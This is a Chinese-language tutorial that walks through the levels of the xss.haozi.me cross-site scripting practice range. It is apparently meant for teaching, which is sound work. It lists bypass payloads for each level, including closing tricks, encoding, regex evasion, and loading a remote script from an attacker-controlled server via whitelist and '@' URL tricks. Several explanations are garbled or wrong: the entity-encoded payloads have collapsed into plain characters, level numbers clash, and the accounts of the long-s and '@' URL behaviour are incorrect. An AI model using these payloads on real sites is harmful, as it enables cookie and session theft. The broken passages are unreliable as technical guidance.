1. 靶场初探:为什么xss.haozi.me是绝佳的实战起点
很多刚接触Web安全的朋友,一听到XSS(跨站脚本攻击)就觉得头大。理论看了不少,什么反射型、存储型、DOM型,概念都懂,可一到自己动手,面对一个真实的输入框,脑子就一片空白,不知道从哪下手。这种感觉我太懂了,十年前我刚入门的时候也是这样。后来我发现,光看理论不行,必须得有个地方能让你“真刀真枪”地试,错了没关系,能立刻看到反馈,知道问题出在哪。这就是靶场的价值。
xss.haozi.me 这个靶场,在我看来,是市面上最适合新手进阶的XSS练习场之一。它不像一些复杂的综合靶场,一上来就给你一个完整的、充满干扰的Web应用。它做得非常纯粹,就是一道道关卡,每一关都聚焦于一个具体的、真实的过滤或防护场景。从最简单的毫无防护,到逐步引入标签过滤、事件过滤、正则表达式过滤、编码转换等等,难度是阶梯式上升的。你每过一关,就相当于亲手解开了一个现实中可能遇到的防护锁,这种成就感是看十篇理论文章都比不了的。
这个靶场的玩法也极其简单直接:想尽一切办法,让页面成功弹出alert(1)。这个目标非常明确,alert(1)就是你的“胜利旗帜”。你别小看这个简单的弹窗,在实战中,能执行任意JavaScript代码,就意味着你能做的事情太多了,比如窃取用户的Cookie、劫持用户会话、进行键盘记录、甚至结合其他漏洞进一步渗透。所以,把这个靶场打通关,你掌握的绝不仅仅是弹出个窗口,而是一整套绕过前端安全机制的思维和方法。
我建议你在开始之前,准备好浏览器的开发者工具(按F12)。这是你最重要的“侦察兵”。每一关,你都要先看看前端的HTML源码是怎么渲染的,你的输入被放在了哪个位置,被哪些标签包裹着,服务器返回的响应里你的输入有没有被改变。很多绕过技巧,都是通过观察这些细节发现的。比如,你的输入是被放在<input>的value属性里,还是放在<textarea>标签内部,或是作为一段文本直接插入到<div>中,这直接决定了你的攻击向量和绕过策略。接下来,我们就从最简单的关卡开始,一步步拆解那些让你头疼的过滤机制。
2. 基础闭合的艺术:从标签到属性
靶场的前几关,可以说是给你热身的,但里面蕴含的思想却是贯穿始终的。我们来看第一关(0x00),页面几乎没有任何过滤,你直接输入<script>alert(1)</script>就成功了。这关的意义在于告诉你:这就是最原始、最理想的XSS注入点。但从第二关开始,现实就来了。
2.1 突破文本区域的束缚
第二关(0x01)的注入点在一个<textarea>标签里面。如果你还把<script>标签直接输进去,你会发现它只是被当作普通文本显示在了多行文本框里,并不会被执行。这是因为<textarea>标签内部的内容是纯文本,浏览器不会解析其中的HTML标签。这时候你需要一点“构造”思维。既然<textarea>标签本身是HTML,那我们就把它闭合掉!输入</textarea><script>alert(1)</script>,页面结构就变成了:
<textarea> </textarea><script>alert(1)</script> </textarea>你看,我们用一个</textarea>提前结束了原来的标签,然后插入我们自己的恶意脚本,再用一个<textarea>(虽然不完整)来保持结构大致正常,避免明显的语法错误。这就是最基本的标签闭合技巧。除了用<script>,你还可以利用其他能触发JavaScript的HTML属性,比如事件处理器。输入</textarea><img src="" onerror=alert(1)>同样能成功。这里利用了图片的onerror事件:我们故意让src为空,图片加载必定失败,从而触发onerror里的代码。这种方法往往比<script>标签更灵活,因为很多过滤规则只盯着script这个关键词。
2.2 属性值的逃逸
第三关(0x02)把我们的输入放到了一个输入框(<input>)的value属性里,就像这样:<input value="你的输入">。这时候,无论是闭合<textarea>还是直接用<script>标签,都会因为被包含在双引号内而失效。怎么办?思路是一样的:闭合。不过这次是闭合属性值。我们可以输入"><script>alert(1)</script>。当它被拼接到HTML中后,完整的代码就变成了:
<input value=""><script>alert(1)</script>">">首先闭合了value属性的双引号,然后闭合了<input>标签本身的尖括号(>),这样紧随其后的<script>标签就成功地“逃”了出来,成为独立的、可被浏览器解析的HTML元素。这个技巧和SQL注入中闭合单引号再拼接恶意SQL语句的原理一模一样,都是利用了“数据”和“代码”边界混淆的漏洞。你也可以用事件属性来玩:" onmouseover="alert(1),这样构造出来的<input value="" onmouseover="alert(1)">,当用户鼠标滑过这个输入框时就会触发弹窗。在实际的渗透测试中,这种基于事件的XSS非常隐蔽,危害性也很大。
3. 编码与混淆:绕过字符过滤的黑魔法
从第四关开始,靶场引入了字符过滤机制,你不能直接使用某些关键符号了。这时候,就需要请出编码和混淆技术。
3.1 当括号被禁:反引号与HTML实体编码
第三关(0x03)过滤了圆括号()和方括号[]。这意味着你没法写alert(1)了。怎么办?JavaScript提供了一个替代方案:反引号(`)。你可以使用模板字符串的语法来调用函数:alert`1`。这行代码等价于alert('1')。这是一个非常实用的小技巧,在很多简单的括号过滤场景下能直接绕过。
第四关(0x04)更狠,把括号、尖括号和引号都过滤了。这意味着你连完整的<script>标签或事件属性都构造不了。这时候,HTML实体编码就派上用场了。浏览器在解析HTML时,会先将实体编码解码成对应的字符,然后再执行JavaScript。所以,我们可以将关键字符进行编码。例如,圆括号(的十六进制HTML实体是(,)是),数字1是1。那么,我们可以构造这样的payload:<img src="" onerror=alert(1)>。当浏览器加载这段HTML时,它会先将(1)解码还原成(1),然后作为onerror属性的值交给JavaScript引擎去执行,最终成功弹窗。这里的关键是,编码发生在HTML解析阶段,而JavaScript执行在更后的阶段,我们正是利用了这个时间差。
3.2 高级编码技巧与注释陷阱
第五关(0x05)非常有意思,它把你的输入放在了HTML注释里:<!-- 你的输入 -->,并且把注释的结束符-->替换成了一个表情符号。你以为被注释掉的内容就永远无法执行了吗?并非如此。HTML注释有两种结束方式:一种是常见的-->,另一种是--!>。很多开发者只知道第一种,而过滤规则也往往只针对第一种。所以,我们可以用--!>来提前结束注释,然后注入我们的代码:--!><script>alert(1)</script><!--。这样,页面结构就变成了:
<!-- --!><script>alert(1)</script><!-- -->第一个<!--是原有的注释开始,我们输入的--!>结束了它,紧接着的<script>标签就被当作正常的HTML解析了。最后我们再补一个<!--,是为了把原来末尾那个被篡改的“注释结束符”(现在是表情)给注释掉,避免它破坏页面结构。这个关卡教会我们,要深入了解各种语法、协议的细节和“偏门”用法,这些地方常常是防御的盲点。
4. 正则表达式的攻防:理解、分析与逃逸
从第六关开始,靶场大量使用正则表达式进行过滤。这是实战中最常见的情况,也是很多朋友觉得最难的部分。其实,只要你学会分析正则,就能找到绕过的钥匙。
4.1 利用换行符和空格
第六关(0x06)的正则是/auto|on.*=|>/ig。我们来拆解一下:
auto:匹配“auto”字符串。on.*=:匹配以“on”开头,以“=”结尾的任何字符串(.*表示中间任意字符)。这几乎涵盖了所有事件处理器,如onerror=、onclick=、onmouseover=。>:匹配右尖括号,防止你闭合标签。- 修饰符
i表示忽略大小写,g表示全局匹配。
看起来把路都堵死了?注意看,这个正则里没有处理换行符。在HTML中,属性值是可以换行书写的。所以我们可以这样构造:type="image" src="" onerror =alert(1)。我们在onerror和=之间插入了一个换行符(或者多个空格),这样on.*=这个模式就匹配不上了,因为on和=不在同一行。但浏览器在解析时,会忽略这些空白字符,最终仍然将onerror和alert(1)正确关联。同理,你也可以用空格,但要注意on.*=中的.*会匹配空格,所以需要确保on和=之间不止一个空格,或者加入换行更稳妥。
4.2 解析正则的漏洞:不完整的匹配
第七关(0x07)的正则更复杂:/<\/?[^>]+>/gi。它的目的是匹配并移除所有类似HTML标签的东西(如<tag>或</tag>)。<\/?匹配<后面跟着0个或1个/(即开始标签或结束标签的开头)。[^>]+匹配一个或多个不是>的字符。最后>匹配标签结束。
这个正则看起来天衣无缝,但它有一个隐含的假设:HTML标签必须正确闭合,即有开始的<和结束的>。然而,HTML解析器非常“宽容”。我们输入一个不闭合的标签:<img src="" onerror=alert(1)。注意,最后没有>。这个字符串不符合/<\/?[^>]+>/的匹配模式,因为它缺少结尾的>,所以不会被过滤掉。但是,浏览器在解析时,为了容错,会认为这个标签在合适的地方(比如下一个标签开始前)已经结束了,并正常解析其中的onerror属性。这就是利用了过滤逻辑和浏览器解析逻辑的不一致性。防御者用正则去模拟“完美”的HTML解析,但浏览器的真实解析规则却更复杂、更宽松。
4.3 白名单绕过与资源引用
第九关(0x09)和第十关(0x0A)引入了白名单机制。第九关要求你的输入必须包含https://www.segmentfault.com这个域名。很多人觉得,既然必须是这个域名,那是不是就没法干坏事了?不是的。白名单往往只检查“是否包含”,而不是“是否等于”。我们可以这样构造:https://www.segmentfault.com" onerror=alert(1) //。拼接后得到<input value="https://www.segmentfault.com" onerror=alert(1) //">。我们用双引号提前闭合了value属性,然后添加了onerror事件。后面的//是JavaScript的单行注释,用于注释掉原代码中可能残留的引号或括号,避免语法错误。这是一种非常经典的“白名单内嵌恶意代码”的手法。
第十关(0x0A)更进一步,它对输入进行了HTML编码,使得在属性值内构造事件处理器变得困难。但它允许我们引入一个外部的URL。靶场作者很贴心地在自己域下的j.js文件里写了alert(1);。所以,我们可以直接引用这个文件:https://www.segmentfault.com.haozi.me/j.js。这里用了一个小技巧:域名www.segmentfault.com.haozi.me实际上是haozi.me的一个子域名,它满足了白名单对www.segmentfault.com的检查,同时又指向了靶场自己的服务器,从而加载了恶意的JS文件。这启示我们,白名单过滤一定要精确匹配整个域名(包括协议和路径),否则子域名、路径拼接都可能成为绕过点。更高级的玩法是利用URL的@语法进行跳转:https://www.segmentfault.com@你控制的服务器/j.js。浏览器在解析时,会尝试以www.segmentfault.com的用户名和密码去访问@后面的主机,这通常会导致认证失败而回退到直接访问后面的主机,从而加载我们控制的恶意脚本。这种手法在钓鱼攻击中也很常见。
5. 变形与对抗:大小写、双重编码与冷门字符
最后的几关,可以说是脑洞大开,考验的是你对Web底层解析规则和字符集的了解深度。
5.1 大小写敏感性的差异
第十一关(0x0B)把所有字母都转成了大写。如果你输入<script>alert(1)</script>,它会变成<SCRIPT>ALERT(1)</SCRIPT>,这当然无法执行,因为JavaScript是大小写敏感的,ALERT不是一个有效的函数。这里有一个关键知识点:HTML标签和属性名不区分大小写,但JavaScript代码区分。所以,我们可以保持HTML部分(标签、属性名)不变,只对JavaScript代码部分进行编码。例如:<img src="" onerror="alert(1)">。这里a是 ‘a’,l是 ‘l’……拼起来就是小写的alert。当浏览器解析HTML时,这些实体编码被解码成小写字母,然后交给JS引擎执行,完美绕过。另一种更简单的方法依然是利用资源引用,因为域名不区分大小写:<script src=HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS></script>。虽然标签里的HTTPS://...被大写了,但浏览器发起请求时,会将其规范化,最终仍然能正确访问到那个小写的j.js文件。
5.2 双重过滤与畸形构造
第十二关(0x0C)在上一关基础上,增加了对script这个词的过滤,发现即替换为空。这招挺狠,<script>标签直接被拆成<>了。怎么破?我们可以利用字符串替换的一个常见漏洞:它不是递归的。也就是说,它只替换一次。我们输入<sscriptcript>,当过滤器把中间的script删掉后,剩下的部分正好拼凑成<script>!这种手法在SQL注入里也很常见,比如用SELSELECTECT绕过对SELECT的过滤。所以payload可以是:<sscriptcript src=...></sscriptcript>。
5.3 利用古字符与转义符
第十四关(0x0E)堪称经典。它把所有标签名后面加了一个下划线,并且转大写,比如<script>会变成<SCRIPT_>。这看起来彻底封死了标签注入的路。答案非常巧妙,它用到了一个叫“长S”(ſ)的古拉丁字母。这个字母的小写是ſ,但其大写形式是S。所以,当我们输入<ſcript>时,过滤器会将其转换为<SCRIPT_>。注意,这里的S是由ſ大写化而来的,它后面并没有真正的下划线字符,那个下划线是过滤器硬加上的。浏览器在解析HTML标签时,会进行标准化,它可能并不认识<SCRIPT_>这个标签,但会尝试进行容错处理。在某些浏览器的解析逻辑中,它可能会忽略末尾的下划线,或者将ſ的大写形式S正确识别,从而最终将<ſcript>解析为一个有效的<script>标签。这需要你对Unicode字符集和浏览器解析的怪异行为有深入的了解。
最后几关(0x0F 到 0x12)主要考察对JavaScript上下文和转义符的理解。比如输入在引号内,并且引号被转义了(\")。你不能直接闭合引号,但可以转义转义符本身。输入\"); alert(1); //。第一个反斜杠\用来转义后面的引号,形成\",但这本身是一个字面量反斜杠加引号。我们的输入是\",当它前面已有的反斜杠遇到我们输入的反斜杠时,两个反斜杠\\被解释为一个字面量的反斜杠字符,而我们输入的引号"就暴露了出来,成功闭合了前面的字符串。这种“套娃”式的转义逻辑,在代码审计和漏洞挖掘中经常遇到,需要仔细梳理字符串拼接后的最终状态。
通关整个xss.haozi.me靶场,就像完成了一次系统的XSS绕过特训。它教会你的不是一个个孤立的Payload,而是一种对抗性思维:永远站在防御者的角度去思考他可能如何过滤,然后寻找过滤规则与浏览器真实行为之间的缝隙。在实际的漏洞挖掘中,情况会比靶场复杂得多,可能是多种过滤方式的组合,也可能有更严格的CSP(内容安全策略)。但只要你掌握了这些核心的绕过思想——闭合、编码、利用解析差异、混淆、滥用特性——你就有了解决问题的基本工具箱。剩下的,就是耐心、细心和大量的实践。下次当你遇到一个看似固若金汤的输入框时,不妨回想一下在靶场里闯关的经历,一层层拆解它的防御,也许突破口就在某个你忽略的细节里。